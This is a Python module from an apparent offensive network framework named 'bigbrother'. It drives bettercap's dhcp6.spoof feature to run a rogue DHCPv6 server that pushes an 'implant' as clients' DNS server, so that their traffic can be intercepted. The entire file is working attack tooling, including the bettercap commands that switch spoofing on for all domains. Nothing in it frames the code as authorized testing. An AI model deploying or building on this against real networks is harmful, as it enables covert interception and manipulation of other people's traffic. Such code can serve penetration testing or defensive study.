bigbrother/modules/active/dhcp_spoof.py

#!/usr/bin/env python3
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.

Uses bettercap's dhcp6.spoof module to win DHCP races and inject
a rogue DNS server (the implant) into client configurations.
This enables DNS-based MITM without ARP spoofing.
"""

import logging
import os
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger("bb.active.dhcp_spoof")


class DHCPSpoof(BaseModule):
    """DHCP spoofing via bettercap dhcp6.spoof.

    Sets up a rogue DHCPv6 server that responds to DHCP requests,
    injecting the implant as the DNS server. Combined with DNS
    poisoning, this provides full MITM without ARP cache manipulation.

    Dependencies:
        - bettercap_mgr must be running.

    Configuration:
        dns_server: DNS server IP to inject (default: implant IP)
        gateway: Gateway IP to advertise
    """

    name = "dhcp_spoof"
    module_type = "active"
    priority = 200
    requires_root = True
    dependencies = ["bettercap_mgr"]

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._bettercap_mgr = None
        self._spoofing = False
        self._dns_server: Optional[str] = None
        self._gateway: Optional[str] = None

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._bettercap_mgr = self.config.get("bettercap_mgr")
        if not self._bettercap_mgr:
            logger.error("DHCPSpoof requires bettercap_mgr reference in config")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("DHCPSpoof module started (ready for spoof commands)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._spoofing:
            self.stop_spoof()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("DHCPSpoof module stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "spoofing": self._spoofing,
            "dns_server": self._dns_server,
            "gateway": self._gateway,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def spoof(self, dns_server: str, gateway: str) -> bool:
        """Enable DHCP spoofing with rogue DNS server.

        Args:
            dns_server: IP to inject as DNS server (typically the implant IP).
            gateway: Gateway IP to advertise in DHCP responses.

        Returns:
            True if DHCP spoofing was enabled.
        """
        if not self._running or not self._bettercap_mgr:
            logger.error("DHCPSpoof not started")
            return False

        try:
            # Configure dhcp6.spoof parameters
            self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
            self._bettercap_mgr.run_command("dhcp6.spoof on")

            self._spoofing = True
            self._dns_server = dns_server
            self._gateway = gateway

            self.state.set(self.name, "dns_server", dns_server)
            self.state.set(self.name, "gateway", gateway)
            logger.info(
                "DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
            )
            return True

        except Exception:
            logger.exception("Failed to enable DHCP spoofing")
            return False

    def stop_spoof(self) -> bool:
        """Disable DHCP spoofing.

        Returns:
            True if DHCP spoofing was stopped.
        """
        if not self._bettercap_mgr:
            return False

        try:
            self._bettercap_mgr.run_command("dhcp6.spoof off")
            self._spoofing = False
            self._dns_server = None
            self._gateway = None

            self.state.set(self.name, "dns_server", "")
            self.state.set(self.name, "gateway", "")
            logger.info("DHCP spoofing disabled")
            return True

        except Exception:
            logger.exception("Failed to disable DHCP spoofing")
            return False